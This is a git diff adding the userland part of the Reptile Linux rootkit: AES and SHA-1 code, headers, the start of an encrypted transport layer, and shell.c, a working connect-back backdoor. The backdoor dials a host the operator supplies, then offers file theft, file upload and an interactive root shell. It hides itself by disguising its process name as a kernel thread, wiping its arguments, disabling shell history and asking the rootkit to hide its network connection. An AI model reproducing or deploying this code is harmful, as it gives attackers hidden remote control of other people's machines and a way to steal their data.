RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 10 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 11 */ + } + + if (ctx->nr > 12) { + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 12 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 13 */ + } + + /* last round */ + + RK += 4; + + X0 = RK[0] ^ (RSb[(uint8)(Y0 >> 24)] << 24) ^ + (RSb[(uint8)(Y3 >> 16)] << 16) ^ (RSb[(uint8)(Y2 >> 8)] << 8) ^ + (RSb[(uint8)(Y1)]); + + X1 = RK[1] ^ (RSb[(uint8)(Y1 >> 24)] << 24) ^ + (RSb[(uint8)(Y0 >> 16)] << 16) ^ (RSb[(uint8)(Y3 >> 8)] << 8) ^ + (RSb[(uint8)(Y2)]); + + X2 = RK[2] ^ (RSb[(uint8)(Y2 >> 24)] << 24) ^ + (RSb[(uint8)(Y1 >> 16)] << 16) ^ (RSb[(uint8)(Y0 >> 8)] << 8) ^ + (RSb[(uint8)(Y3)]); + + X3 = RK[3] ^ (RSb[(uint8)(Y3 >> 24)] << 24) ^ + (RSb[(uint8)(Y2 >> 16)] << 16) ^ (RSb[(uint8)(Y1 >> 8)] << 8) ^ + (RSb[(uint8)(Y0)]); + + PUT_UINT32(X0, data, 0); + PUT_UINT32(X1, data, 4); + PUT_UINT32(X2, data, 8); + PUT_UINT32(X3, data, 12); +} + +#ifdef TEST + +#include +#include + +/* + * those are the standard FIPS 197 test vectors + */ + +static unsigned char KEYs[3][32] = { + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F", + + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" + "\x10\x11\x12\x13\x14\x15\x16\x17", + + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" + "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"}; + +static unsigned char PT[16] = + + "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF"; + +static unsigned char CTs[3][16] = { + "\x69\xC4\xE0\xD8\x6A\x7B\x04\x30\xD8\xCD\xB7\x80\x70\xB4\xC5\x5A", + "\xDD\xA9\x7C\xA4\x86\x4C\xDF\xE0\x6E\xAF\x70\xA0\xEC\x0D\x71\x91", + "\x8E\xA2\xB7\xCA\x51\x67\x45\xBF\xEA\xFC\x49\x90\x4B\x49\x60\x89"}; + +int main(void) +{ + int i; + struct aes_context ctx; + unsigned char data[16]; + + for (i = 0; i < 3; i++) { + memcpy(data, PT, 16); + + aes_set_key(&ctx, KEYs[i], 128 + i * 64); + aes_encrypt(&ctx, data); + + printf("encryption test %d ", i + 1); + + if (!memcmp(data, CTs[i], 16)) { + printf("passed\n"); + } else { + printf("failed\n"); + return (1); + } + } + + for (i = 0; i < 3; i++) { + memcpy(data, CTs[i], 16); + + aes_set_key(&ctx, KEYs[i], 128 + i * 64); + aes_decrypt(&ctx, data); + + printf("decryption test %d ", i + 1); + + if (!memcmp(data, PT, 16)) { + printf("passed\n"); + } else { + printf("failed\n"); + return (1); + } + } + + return (0); +} +#endif diff --git a/Linux/Rootkits/Reptile/userland/crypto/sha1.c b/Linux/Rootkits/Reptile/userland/crypto/sha1.c new file mode 100644 index 0000000..3af4e23 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/crypto/sha1.c @@ -0,0 +1,331 @@ +/* + * FIPS 180-1 compliant SHA-1 implementation, + * by Christophe Devine ; + * this program is licensed under the GPL. + */ + +#include "sha1.h" +#include + +#define GET_UINT32(n, b, i) \ + { \ + (n) = ((uint32)(b)[(i)] << 24) | \ + ((uint32)(b)[(i) + 1] << 16) | \ + ((uint32)(b)[(i) + 2] << 8) | ((uint32)(b)[(i) + 3]); \ + } + +#define PUT_UINT32(n, b, i) \ + { \ + (b)[(i)] = (uint8)((n) >> 24); \ + (b)[(i) + 1] = (uint8)((n) >> 16); \ + (b)[(i) + 2] = (uint8)((n) >> 8); \ + (b)[(i) + 3] = (uint8)((n)); \ + } + +void sha1_starts(struct sha1_context *ctx) +{ + ctx->total[0] = 0; + ctx->total[1] = 0; + ctx->state[0] = 0x67452301; + ctx->state[1] = 0xEFCDAB89; + ctx->state[2] = 0x98BADCFE; + ctx->state[3] = 0x10325476; + ctx->state[4] = 0xC3D2E1F0; +} + +void sha1_process(struct sha1_context *ctx, uint8 data[64]) +{ + uint32 temp, A, B, C, D, E, W[16]; + + GET_UINT32(W[0], data, 0); + GET_UINT32(W[1], data, 4); + GET_UINT32(W[2], data, 8); + GET_UINT32(W[3], data, 12); + GET_UINT32(W[4], data, 16); + GET_UINT32(W[5], data, 20); + GET_UINT32(W[6], data, 24); + GET_UINT32(W[7], data, 28); + GET_UINT32(W[8], data, 32); + GET_UINT32(W[9], data, 36); + GET_UINT32(W[10], data, 40); + GET_UINT32(W[11], data, 44); + GET_UINT32(W[12], data, 48); + GET_UINT32(W[13], data, 52); + GET_UINT32(W[14], data, 56); + GET_UINT32(W[15], data, 60); + +#define S(x, n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n))) + +#define R(t) \ + (temp = W[(t - 3) & 0x0F] ^ W[(t - 8) & 0x0F] ^ W[(t - 14) & 0x0F] ^ \ + W[t & 0x0F], \ + (W[t & 0x0F] = S(temp, 1))) + +#define P(a, b, c, d, e, x) \ + { \ + e += S(a, 5) + F(b, c, d) + K + x; \ + b = S(b, 30); \ + } + + A = ctx->state[0]; + B = ctx->state[1]; + C = ctx->state[2]; + D = ctx->state[3]; + E = ctx->state[4]; + +#define F(x, y, z) (z ^ (x & (y ^ z))) +#define K 0x5A827999 + + P(A, B, C, D, E, W[0]); + P(E, A, B, C, D, W[1]); + P(D, E, A, B, C, W[2]); + P(C, D, E, A, B, W[3]); + P(B, C, D, E, A, W[4]); + P(A, B, C, D, E, W[5]); + P(E, A, B, C, D, W[6]); + P(D, E, A, B, C, W[7]); + P(C, D, E, A, B, W[8]); + P(B, C, D, E, A, W[9]); + P(A, B, C, D, E, W[10]); + P(E, A, B, C, D, W[11]); + P(D, E, A, B, C, W[12]); + P(C, D, E, A, B, W[13]); + P(B, C, D, E, A, W[14]); + P(A, B, C, D, E, W[15]); + P(E, A, B, C, D, R(16)); + P(D, E, A, B, C, R(17)); + P(C, D, E, A, B, R(18)); + P(B, C, D, E, A, R(19)); + +#undef K +#undef F + +#define F(x, y, z) (x ^ y ^ z) +#define K 0x6ED9EBA1 + + P(A, B, C, D, E, R(20)); + P(E, A, B, C, D, R(21)); + P(D, E, A, B, C, R(22)); + P(C, D, E, A, B, R(23)); + P(B, C, D, E, A, R(24)); + P(A, B, C, D, E, R(25)); + P(E, A, B, C, D, R(26)); + P(D, E, A, B, C, R(27)); + P(C, D, E, A, B, R(28)); + P(B, C, D, E, A, R(29)); + P(A, B, C, D, E, R(30)); + P(E, A, B, C, D, R(31)); + P(D, E, A, B, C, R(32)); + P(C, D, E, A, B, R(33)); + P(B, C, D, E, A, R(34)); + P(A, B, C, D, E, R(35)); + P(E, A, B, C, D, R(36)); + P(D, E, A, B, C, R(37)); + P(C, D, E, A, B, R(38)); + P(B, C, D, E, A, R(39)); + +#undef K +#undef F + +#define F(x, y, z) ((x & y) | (z & (x | y))) +#define K 0x8F1BBCDC + + P(A, B, C, D, E, R(40)); + P(E, A, B, C, D, R(41)); + P(D, E, A, B, C, R(42)); + P(C, D, E, A, B, R(43)); + P(B, C, D, E, A, R(44)); + P(A, B, C, D, E, R(45)); + P(E, A, B, C, D, R(46)); + P(D, E, A, B, C, R(47)); + P(C, D, E, A, B, R(48)); + P(B, C, D, E, A, R(49)); + P(A, B, C, D, E, R(50)); + P(E, A, B, C, D, R(51)); + P(D, E, A, B, C, R(52)); + P(C, D, E, A, B, R(53)); + P(B, C, D, E, A, R(54)); + P(A, B, C, D, E, R(55)); + P(E, A, B, C, D, R(56)); + P(D, E, A, B, C, R(57)); + P(C, D, E, A, B, R(58)); + P(B, C, D, E, A, R(59)); + +#undef K +#undef F + +#define F(x, y, z) (x ^ y ^ z) +#define K 0xCA62C1D6 + + P(A, B, C, D, E, R(60)); + P(E, A, B, C, D, R(61)); + P(D, E, A, B, C, R(62)); + P(C, D, E, A, B, R(63)); + P(B, C, D, E, A, R(64)); + P(A, B, C, D, E, R(65)); + P(E, A, B, C, D, R(66)); + P(D, E, A, B, C, R(67)); + P(C, D, E, A, B, R(68)); + P(B, C, D, E, A, R(69)); + P(A, B, C, D, E, R(70)); + P(E, A, B, C, D, R(71)); + P(D, E, A, B, C, R(72)); + P(C, D, E, A, B, R(73)); + P(B, C, D, E, A, R(74)); + P(A, B, C, D, E, R(75)); + P(E, A, B, C, D, R(76)); + P(D, E, A, B, C, R(77)); + P(C, D, E, A, B, R(78)); + P(B, C, D, E, A, R(79)); + +#undef K +#undef F + + ctx->state[0] += A; + ctx->state[1] += B; + ctx->state[2] += C; + ctx->state[3] += D; + ctx->state[4] += E; +} + +void sha1_update(struct sha1_context *ctx, uint8 *input, uint32 length) +{ + uint32 left, fill; + + if (!length) + return; + + left = (ctx->total[0] >> 3) & 0x3F; + fill = 64 - left; + + ctx->total[0] += length << 3; + ctx->total[1] += length >> 29; + + ctx->total[0] &= 0xFFFFFFFF; + ctx->total[1] += ctx->total[0] < (length << 3); + + if (left && length >= fill) { + memcpy((void *)(ctx->buffer + left), (void *)input, fill); + sha1_process(ctx, ctx->buffer); + length -= fill; + input += fill; + left = 0; + } + + while (length >= 64) { + sha1_process(ctx, input); + length -= 64; + input += 64; + } + + if (length) { + memcpy((void *)(ctx->buffer + left), (void *)input, length); + } +} + +static uint8 sha1_padding[64] = { + 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; + +void sha1_finish(struct sha1_context *ctx, uint8 digest[20]) +{ + uint32 last, padn; + uint8 msglen[8]; + + PUT_UINT32(ctx->total[1], msglen, 0); + PUT_UINT32(ctx->total[0], msglen, 4); + + last = (ctx->total[0] >> 3) & 0x3F; + padn = (last < 56) ? (56 - last) : (120 - last); + + sha1_update(ctx, sha1_padding, padn); + sha1_update(ctx, msglen, 8); + + PUT_UINT32(ctx->state[0], digest, 0); + PUT_UINT32(ctx->state[1], digest, 4); + PUT_UINT32(ctx->state[2], digest, 8); + PUT_UINT32(ctx->state[3], digest, 12); + PUT_UINT32(ctx->state[4], digest, 16); +} + +#ifdef TEST + +#include +#include + +/* + * those are the standard FIPS 180-1 test vectors + */ + +static char *msg[] = { + "abc", "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", NULL}; + +static char *val[] = {"a9993e364706816aba3e25717850c26c9cd0d89d", + "84983e441c3bd26ebaae4aa1f95129e5e54670f1", + "34aa973cd4c4daa4f61eeb2bdbad27316534016f"}; + +int main(int argc, char *argv[]) +{ + FILE *f; + int i, j; + char output[41]; + struct sha1_context ctx; + unsigned char sha1sum[20], buffer[1000]; + + if (argc < 2) { + for (i = 0; i < 3; i++) { + sha1_starts(&ctx); + + if (i < 2) { + sha1_update(&ctx, (uint8 *)msg[i], + strlen(msg[i])); + } else { + memset(buffer, 'a', 1000); + + for (j = 0; j < 1000; j++) { + sha1_update(&ctx, (uint8 *)buffer, + 1000); + } + } + + sha1_finish(&ctx, sha1sum); + + for (j = 0; j < 20; j++) { + sprintf(output + j * 2, "%02x", sha1sum[j]); + } + + printf("test %d ", i + 1); + + if (!memcmp(output, val[i], 40)) { + printf("passed\n"); + } else { + printf("failed\n"); + return (1); + } + } + } else { + if (!(f = fopen(argv[1], "rb"))) { + perror("fopen"); + return (1); + } + + sha1_starts(&ctx); + + while ((i = fread(buffer, 1, sizeof(buffer), f)) > 0) { + sha1_update(&ctx, buffer, i); + } + + sha1_finish(&ctx, sha1sum); + + for (j = 0; j < 20; j++) { + printf("%02x", sha1sum[j]); + } + + printf(" %s\n", argv[1]); + } + + return (0); +} + +#endif diff --git a/Linux/Rootkits/Reptile/userland/include/aes.h b/Linux/Rootkits/Reptile/userland/include/aes.h new file mode 100644 index 0000000..cbd423b --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/aes.h @@ -0,0 +1,22 @@ +#ifndef _AES_H +#define _AES_H + +#ifndef uint8 +#define uint8 unsigned char +#endif + +#ifndef uint32 +#define uint32 unsigned long int +#endif + +struct aes_context { + int nr; /* number of rounds */ + uint32 erk[64]; /* encryption round keys */ + uint32 drk[64]; /* decryption round keys */ +}; + +int aes_set_key(struct aes_context *ctx, uint8 *key, int nbits); +void aes_encrypt(struct aes_context *ctx, uint8 data[16]); +void aes_decrypt(struct aes_context *ctx, uint8 data[16]); + +#endif /* aes.h */ diff --git a/Linux/Rootkits/Reptile/userland/include/config.h b/Linux/Rootkits/Reptile/userland/include/config.h new file mode 100644 index 0000000..a5207b4 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/config.h @@ -0,0 +1,13 @@ +#ifndef _CONFIG_H +#define _CONFIG_H + +#define HOMEDIR "/root" +#define GET_FILE 1 +#define PUT_FILE 2 +#define RUNSHELL 3 +#define SET_DELAY 4 +#define OUT 5 +#define EXIT_LEN 16 +#define EXIT ";7(Zu9YTsA7qQ#vw" + +#endif \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/userland/include/custom_rol32.h b/Linux/Rootkits/Reptile/userland/include/custom_rol32.h new file mode 100644 index 0000000..792bbeb --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/custom_rol32.h @@ -0,0 +1,15 @@ +#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) +#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) + +static inline unsigned int custom_rol32(unsigned int val, int n) +{ + return ((val << n) | (val >> (32 - n))); +} + +static inline void do_encode(void *ptr, unsigned int len, unsigned int key) +{ + while (len > sizeof(key)) { + *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); + len -= sizeof(key), ptr += sizeof(key); + } +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/userland/include/pel.h b/Linux/Rootkits/Reptile/userland/include/pel.h new file mode 100644 index 0000000..fa55a7a --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/pel.h @@ -0,0 +1,24 @@ +#ifndef _PEL_H +#define _PEL_H + +#define BUFSIZE 4096 /* maximum message length */ + +#define PEL_SUCCESS 1 +#define PEL_FAILURE 0 + +#define PEL_SYSTEM_ERROR -1 +#define PEL_CONN_CLOSED -2 +#define PEL_WRONG_CHALLENGE -3 +#define PEL_BAD_MSG_LENGTH -4 +#define PEL_CORRUPTED_DATA -5 +#define PEL_UNDEFINED_ERROR -6 + +extern int pel_errno; + +int pel_client_init( int server, char *key ); +int pel_server_init( int client, char *key ); + +int pel_send_msg( int sockfd, unsigned char *msg, int length ); +int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); + +#endif /* pel.h */ diff --git a/Linux/Rootkits/Reptile/userland/include/sha1.h b/Linux/Rootkits/Reptile/userland/include/sha1.h new file mode 100644 index 0000000..0d23588 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/sha1.h @@ -0,0 +1,22 @@ +#ifndef _SHA1_H +#define _SHA1_H + +#ifndef uint8 +#define uint8 unsigned char +#endif + +#ifndef uint32 +#define uint32 unsigned long int +#endif + +struct sha1_context { + uint32 total[2]; + uint32 state[5]; + uint8 buffer[64]; +}; + +void sha1_starts(struct sha1_context *ctx); +void sha1_update(struct sha1_context *ctx, uint8 *input, uint32 length); +void sha1_finish(struct sha1_context *ctx, uint8 digest[20]); + +#endif /* sha1.h */ diff --git a/Linux/Rootkits/Reptile/userland/include/util.h b/Linux/Rootkits/Reptile/userland/include/util.h new file mode 100644 index 0000000..9c7a929 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/util.h @@ -0,0 +1,64 @@ +#ifndef _UTIL_H +#define _UTIL_H + +//#include "config.h" + +#define ERROR -1 +#define RL_BUFSIZE 2048 +#define TOK_BUFSIZE 64 +#define TOK_DELIM " \t\r\n\a" + +extern char *optarg; +// extern int optind; + +char good[] = "\e[01;34m[*]\e[00m"; +char awesome[] = "\e[01;32m[+]\e[00m"; +char bad[] = "\e[01;31m[-]\e[00m"; +char warn[] = "\e[01;33m[!]\e[00m"; + +void p_error(char *message) +{ + char error_message[129]; + + strcpy(error_message, bad); + strcat(error_message, " Error "); + strncat(error_message, message, 93); + perror(error_message); + printf("\n\n"); +} + +void fatal(char *message) +{ + p_error(message); + exit(ERROR); +} + +void banner(void) +{ + fprintf(stdout, "\e[01;31m\n" + "\t █████▒▄▄▄ ▄▄▄█████▓ ▄▄▄ ██▓ ██▓▄▄▄█████▓▓██ ██▓\n" + "\t▓██ ▒▒████▄ ▓ ██▒ ▓▒▒████▄ ▓██▒ ▓██▒▓ ██▒ ▓▒ ▒██ ██▒\n" + "\t▒████ ░▒██ ▀█▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▒██░ ▒██▒▒ ▓██░ ▒░ ▒██ ██░\n" + "\t░▓█▒ ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░ ░██░░ ▓██▓ ░ ░ ▐██▓░\n" + "\t░▒█░ ▓█ ▓██▒ ▒██▒ ░ ▓█ ▓██▒░██████▒░██░ ▒██▒ ░ ░ ██▒▓░\n" + "\t ▒ ░ ▒▒ ▓▒█░ ▒ ░░ ▒▒ ▓▒█░░ ▒░▓ ░░▓ ▒ ░░ ██▒▒▒ \n" + "\t ░ ▒ ▒▒ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ▒ ░ ░ ▓██ ░▒░ \n" + "\t ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ▒ ░░ \n" + "\t ░ ░ ░ ░ ░ ░ ░ ░ ░ \n" + "\t ░ ░ \n"); + fprintf(stdout, "\n\e[01;32m\t\t\t\t Reptile Wins\n"); + fprintf(stdout, "\e[00m\t\t\t\tFlawless Victory\n\n"); +} + +void banner2(void) +{ + fprintf(stdout, "\e[01;31m\n\n" + "███████ ██ ███ ██ ██ ███████ ██ ██ ██ ██ ██ ███ ███ ██ ██\n" + "██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ████ ████ ██ ██\n" + "█████ ██ ██ ██ ██ ██ ███████ ███████ ███████ ██ ██ ████ ██ ██ ██\n" + "██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ \n" + "██ ██ ██ ████ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██\n" + "\n"); +} + +#endif diff --git a/Linux/Rootkits/Reptile/userland/shell.c b/Linux/Rootkits/Reptile/userland/shell.c new file mode 100644 index 0000000..5401d52 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/shell.c @@ -0,0 +1,495 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "config.h" +#include "pel.h" + +#define ERROR -1 + +unsigned char message[BUFSIZE + 1]; +extern char *optarg; +char *rcfile; + +#ifndef _REPTILE_ + +void usage(char *argv0) +{ + fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0); + fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n"); +} + +#endif + +int get_file(int client) +{ + int ret, len, fd; + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + if (message[0] == OUT) + return 1; + + message[len] = '\0'; + + fd = open((char *)message, O_RDONLY); + + if (fd < 0) + return (ERROR); + + while (1) { + len = read(fd, message, BUFSIZE); + + if (len == 0) + break; + if (len < 0) + return (ERROR); + + ret = pel_send_msg(client, message, len); + + if (ret != PEL_SUCCESS) + return (ERROR); + } + return 0; +} + +int put_file(int client) +{ + int ret, len, fd; + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + if (message[0] == OUT) + return (ERROR); + + message[len] = '\0'; + fd = creat((char *)message, 0644); + + if (fd < 0) + return (ERROR); + + while (1) { + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) + break; + + if (write(fd, message, len) != len) + return (ERROR); + } + return 0; +} + +int runshell(int client) +{ + fd_set rd; + struct winsize ws; + char *slave, *temp, *shell; + int ret, len, pid, pty, tty, n; + + if (openpty(&pty, &tty, NULL, NULL, NULL) < 0) + return (ERROR); + + slave = ttyname(tty); + + if (slave == NULL) + return (ERROR); + + chdir(HOMEDIR); + putenv("HISTFILE="); + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + message[len] = '\0'; + setenv("TERM", (char *)message, 1); + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS || len != 4) + return (ERROR); + + ws.ws_row = ((int)message[0] << 8) + (int)message[1]; + ws.ws_col = ((int)message[2] << 8) + (int)message[3]; + ws.ws_xpixel = 0; + ws.ws_ypixel = 0; + + if (ioctl(pty, TIOCSWINSZ, &ws) < 0) + return (ERROR); + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + if (len == 1 && message[0] == RUNSHELL) { + temp = (char *)malloc(20 + strlen(rcfile)); + + if (temp == NULL) + return (ERROR); + + strcpy(temp, "exec bash --rcfile "); + strcat(temp, rcfile); + } else { + message[len] = '\0'; + temp = (char *)malloc(len + 1); + + if (temp == NULL) + return (ERROR); + + strncpy(temp, (char *)message, len + 1); + } + + pid = fork(); + + if (pid < 0) { + free(temp); + return (ERROR); + } + + if (pid == 0) { + close(client); + close(pty); + + if (setsid() < 0) { + free(temp); + return (ERROR); + } + + if (ioctl(tty, TIOCSCTTY, NULL) < 0) { + free(temp); + return (ERROR); + } + + dup2(tty, 0); + dup2(tty, 1); + dup2(tty, 2); + + if (tty > 2) + close(tty); + + shell = (char *)malloc(10); + + if (shell == NULL) { + free(temp); + return (ERROR); + } + + strcpy(shell, "/bin/bash"); + + execl(shell, shell + 5, "-c", temp, (char *)0); + free(temp); + free(shell); + + return 0; + } else { + close(tty); + + while (1) { + FD_ZERO(&rd); + FD_SET(client, &rd); + FD_SET(pty, &rd); + + n = (pty > client) ? pty : client; + + if (select(n + 1, &rd, NULL, NULL, NULL) < 0) + return (ERROR); + + if (FD_ISSET(client, &rd)) { + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + if (write(pty, message, len) != len) + return (ERROR); + } + + if (FD_ISSET(pty, &rd)) { + len = read(pty, message, BUFSIZE); + + if (len == 0) + break; + if (len < 0) + return (ERROR); + + ret = pel_send_msg(client, message, len); + + if (ret != PEL_SUCCESS) + return (ERROR); + } + } + return 0; + } +} + +#ifdef _REPTILE_ + +#define HIDE 1 +#define UNHIDE 0 + +struct control { + unsigned short cmd; + void *argv; +}; + +void hide_conn(struct sockaddr_in addr, int hide) +{ + struct control args; + int sockioctl = socket(AF_INET, SOCK_STREAM, 6); + + if (sockioctl < 0) + exit(1); + + if (hide) { + args.cmd = 4; + } else { + args.cmd = 5; + } + + args.argv = &addr; + + if (ioctl(sockioctl, AUTH, HTUA) == 0) { + if (ioctl(sockioctl, AUTH, &args) == 0) + ioctl(sockioctl, AUTH, HTUA); + } + + close(sockioctl); +} + +#endif + +int build_rcfile_path(void) +{ + char *name = NAME; + int len = 6 + strlen(name) + strlen(name); + + rcfile = (char *)malloc(len); + + if (rcfile == NULL) + return -1; + + snprintf(rcfile, len, "/%s/%s_rc", name, name); + return 0; +} + +int main(int argc, char **argv) +{ + int ret, len, pid, opt, client, arg0_len, delay = 0; + short int connect_back_port = 0; + char *connect_back_host = NULL; + char *secret = NULL; + struct sockaddr_in client_addr; + struct hostent *client_host; + socklen_t n; + + while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) { + switch (opt) { + case 't': + connect_back_host = strdup(optarg); + break; + case 'p': + connect_back_port = atoi(optarg); + if (!connect_back_port) { +#ifndef _REPTILE_ + usage(*argv); +#endif + goto out; + } + break; + case 's': + secret = strdup(optarg); + break; + case 'r': + delay = atoi(optarg); + break; + default: +#ifndef _REPTILE_ + usage(*argv); +#endif + exit(1); + break; + } + } + + if (connect_back_host == NULL || connect_back_port == 0 || + secret == NULL) { +#ifndef _REPTILE_ + usage(*argv); +#endif + goto out; + } + + arg0_len = strlen(argv[0]); + bzero(argv[0], arg0_len); + + if (arg0_len >= 7) + strcpy(argv[0], "[ata/0]"); + + if(argv[1]) + bzero(argv[1], strlen(argv[1])); + + if(argv[2]) + bzero(argv[2], strlen(argv[2])); + + if(argv[3]) + bzero(argv[3], strlen(argv[3])); + + if(argv[4]) + bzero(argv[4], strlen(argv[4])); + + if(argv[5]) + bzero(argv[5], strlen(argv[5])); + + if(argv[6]) + bzero(argv[6], strlen(argv[6])); + + if(argv[7]) + bzero(argv[7], strlen(argv[7])); + + if(argv[8]) + bzero(argv[8], strlen(argv[8])); + + if (build_rcfile_path()) + goto out; + + pid = fork(); + + if (pid < 0) + return (ERROR); + + if (pid != 0) + return 0; + + if (setsid() < 0) + return (ERROR); + + for (n = 0; n < 1024; n++) + close(n); + + do { + if (delay > 0) + sleep(delay); + + client = socket(PF_INET, SOCK_STREAM, 0); + if (client < 0) + continue; + + client_host = gethostbyname(connect_back_host); + if (client_host == NULL) + continue; + + memcpy((void *)&client_addr.sin_addr, + (void *)client_host->h_addr, client_host->h_length); + + client_addr.sin_family = AF_INET; + client_addr.sin_port = htons(connect_back_port); + + ret = connect(client, (struct sockaddr *)&client_addr, + sizeof(client_addr)); + + if (ret < 0) { + close(client); + continue; + } + +#ifdef _REPTILE_ + hide_conn(client_addr, HIDE); +#endif + + ret = pel_server_init(client, secret); + + if (ret != PEL_SUCCESS) { + shutdown(client, 2); + +#ifdef _REPTILE_ + hide_conn(client_addr, UNHIDE); +#endif + + continue; + } + + connect: + + ret = pel_recv_msg(client, message, &len); + + if (ret == PEL_SUCCESS || len == 1) { + if (strcmp((char *)message, EXIT) == 0) + goto end; + + switch (message[0]) { + case GET_FILE: + ret = get_file(client); + + if (ret) + goto connect; + + if (pel_send_msg(client, (unsigned char *)EXIT, + EXIT_LEN) != PEL_SUCCESS) + goto end; + + goto connect; + case PUT_FILE: + put_file(client); + goto connect; + case RUNSHELL: + runshell(client); + if (pel_send_msg(client, (unsigned char *)EXIT, + EXIT_LEN) != PEL_SUCCESS) + goto end; + + goto connect; + case SET_DELAY: + if (pel_recv_msg(client, message, &len) != + PEL_SUCCESS) + goto end; + + if (message[0] == 5) + goto connect; + + message[len] = '\0'; + delay = atoi((char *)message); + + goto connect; + default: + break; + } + } + end: + shutdown(client, 2); + +#ifdef _REPTILE_ + hide_conn(client_addr, UNHIDE); +#endif + + } while (delay > 0); + +out: + if (connect_back_host) + free(connect_back_host); + + if (secret) + free(secret); + + return 0; +} diff --git a/Linux/Rootkits/Reptile/userland/transport/pel.c b/Linux/Rootkits/Reptile/userland/transport/pel.c new file mode 100644 index 0000000..59335a9 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/transport/pel.c @@ -0,0 +1,445 @@ +/* + * Packet Encryption Layer for Tiny SHell, + * by Christophe Devine ; + * this program is licensed under the GPL. + */ + +#include +#include +#include +#include +#include + +#include "aes.h" +#include "pel.h" +#include "sha1.h" + +/* global data */ + +int pel_errno; + +struct pel_context { + /* AES-CBC-128 variables */ + + struct aes_context SK; /* Rijndael session key */ + unsigned char LCT[16]; /* last ciphertext block */ + + /* HMAC-SHA1 variables */ + + unsigned char k_ipad[64]; /* inner padding */ + unsigned char k_opad[64]; /* outer padding */ + unsigned long int p_cntr; /* packet counter */ +}; + +struct pel_context send_ctx; /* to encrypt outgoing data */ +struct pel_context recv_ctx; /* to decrypt incoming data */ + +unsigned char challenge[16] = /* version-specific */ + + "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" + "\x29\x83\x95\x71\x1D\xDE\x58\x0D"; + +unsigned char buffer[BUFSIZE + 16 + 20]; + +/* function declaration */ + +void pel_setup_context(struct pel_context *pel_ctx, char *key, + unsigned char IV[20]); + +int pel_send_all(int s, void *buf, size_t len, int flags); +int pel_recv_all(int s, void *buf, size_t len, int flags); + +/* session setup - client side */ + +int pel_client_init(int server, char *key) +{ + int ret, len, pid; + struct timeval tv; + struct sha1_context sha1_ctx; + unsigned char IV1[20], IV2[20]; + + /* generate both initialization vectors */ + + pid = getpid(); + + if (gettimeofday(&tv, NULL) < 0) { + pel_errno = PEL_SYSTEM_ERROR; + + return (PEL_FAILURE); + } + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, (uint8 *)&tv, sizeof(tv)); + sha1_update(&sha1_ctx, (uint8 *)&pid, sizeof(pid)); + sha1_finish(&sha1_ctx, &buffer[0]); + + memcpy(IV1, &buffer[0], 20); + + pid++; + + if (gettimeofday(&tv, NULL) < 0) { + pel_errno = PEL_SYSTEM_ERROR; + + return (PEL_FAILURE); + } + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, (uint8 *)&tv, sizeof(tv)); + sha1_update(&sha1_ctx, (uint8 *)&pid, sizeof(pid)); + sha1_finish(&sha1_ctx, &buffer[20]); + + memcpy(IV2, &buffer[20], 20); + + /* and 